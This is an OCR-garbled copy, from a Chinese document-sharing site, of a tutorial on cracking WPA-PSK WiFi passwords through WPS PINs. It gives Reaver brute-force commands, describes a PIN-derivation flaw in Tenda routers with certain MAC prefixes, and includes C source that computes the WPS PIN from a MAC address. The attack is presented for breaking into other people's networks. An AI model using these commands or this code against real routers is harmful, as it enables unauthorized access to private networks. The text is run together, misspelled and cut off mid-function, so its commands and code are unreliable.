[方案]破解WIFI無(wú)線網(wǎng)絡(luò)密碼之使用ReaverPIN碼破解WPA-PSK密碼

《[方案]破解WIFI無(wú)線網(wǎng)絡(luò)密碼之使用ReaverPIN碼破解WPA-PSK密碼》由會(huì)員上傳分享，免費(fèi)在線閱讀，更多相關(guān)內(nèi)容在工程資料-天天文庫(kù)。

1、破解WIFI無(wú)線網(wǎng)絡(luò)密碼之使用Reaver+PIN碼破解WPA-PSK密碼使用Reaver+PIN碼破解WIFI無(wú)線網(wǎng)絡(luò)WPA-PSK密碼：Z前掌握到的破解WPA-PSK密碼僅限尸使丿UaircreackIE具包獲取handshake后掛？典爆破方式，而能否破解出wpa密碼完全依賴于字典強(qiáng)度了。除了該方式外還有一個(gè)更有效的辦法，就是使用路由PIN碼然后使川BT5卜?H帶的ReaverI具秒破WPA-PSK密碼！在已知PIN碼的情況下可以在BT5下使用reaver-imonO-bAP'sMac-ppin直接秒破！現(xiàn)在比較難的就是怎么得到PI

2、N的問(wèn)題了，經(jīng)常關(guān)注無(wú)線這方面的朋友應(yīng)該知道現(xiàn)在騰達(dá)和磊科產(chǎn)品有保PIN算法漏洞,如果路由MAC地址是以“C83A35”或“OOBOOC”打頭那么可以直接計(jì)算出PIN值，然后使用PIN值直接連接或者繼續(xù)使用PIN值加reaver破解出wpa-psko除此Z外，根據(jù)PIN特點(diǎn)同樣也可以使用Reaver來(lái)窮舉，pin碼是一個(gè)8位數(shù)前四位是隨機(jī)生成的而麻4位是3個(gè)數(shù)字加1個(gè)checksum人人降低了窮舉所需要的時(shí)間。在BT5下可以使用reaver-imonO-bAPsMac-vv來(lái)破解，這個(gè)過(guò)程可能需要花很多個(gè)小時(shí)，在網(wǎng)上有看到是3-10個(gè)小時(shí)

3、，具體的我還未驗(yàn)證。reaver在此過(guò)程中還會(huì)保存進(jìn)度(/usr/local/etc/reaver/AP'sMAC.wpc)到文件。不過(guò)使用PIN方法破解WPA-PSK密碼有一個(gè)限制，就是AP必須開啟了QSS、WPS功能!我們可以在掃描AP的吋候判斷n標(biāo)AP是否開啟了QSS、WPS功能，如下圖使用airodump-ng掃描時(shí)候在MB欄中后面有個(gè)的就是?；蛘咴趙in7下而，連接AP吋候在密碼輸入框下而有“通過(guò)按路山器按鈕也可以連接”字樣也是開啟了QSS>wps的?！癈83A35”或“00B00C”打頭路由PIN計(jì)算工具源碼,大家可以自己編譯

4、://ComputesPINcodestartswithOUI,,C83A35UandM00B00Cu//BothtwoOUIswhichbelongedtoTendaTechnologyCo.,Ltdareconfirmedeffectively.//CodedbyZhaochunsheng-iBeini.com//ModifiedbyLingxi?WiFiBETA.COM#inckidc#include#includeintmain()unsignedintwps_pin_ch

5、ecksum(unsignedintpin);intPIN=0;//printf(MComputePIN-C83A35M);printf(nDescription:H);printf(HlfyourwirelessrouterMACaddressstartwithUC83A35VorVOOBOOCVWn0);printf(Htypetheothersixdigits,youmightbeabletogettheH);printf(HWPS-PINofthisequipment,pleasehaveatry,goodluck!

6、u);printf(nCodebyZhaoChunsheng04/07/2012http://www.2cto.comM);printf(nModifiedbyLingxi-WiFiBETA.COMM);//TranslatedtoChineseprintf(“說(shuō)明：”)；printf(“如果您的無(wú)線路由器MAC地址以“C83A35”或“OOB0OC”打頭，”);printf(“輸入后六位MAC地址(不分大小寫)您或許可以獲得該路山的WPSPIN密鑰！”);printf'C*祝你好運(yùn)!n);pr

7、intf("由趙春生編寫于2012年4月7RHttp://iBeini.comH);printfC*由靈曦修改并漢化WiFiBETA.COMH);printfC請(qǐng)輸入后六位MAC地址(HEX)：“)；printf("Inputthelast6digitsofMACAddress(HEX):");scanf(”％x”,&PIN);printf(MLast6digitsofMACAddress(HEX)are:%XH,PlN);printf(nWPSPINis:%07d%dM,PIN%10000000,wps_pin_

8、chccksum(PIN%10000000));return0;}unsignedintwps_pin_checksum(unsignedintpin){unsignedintaccum=0;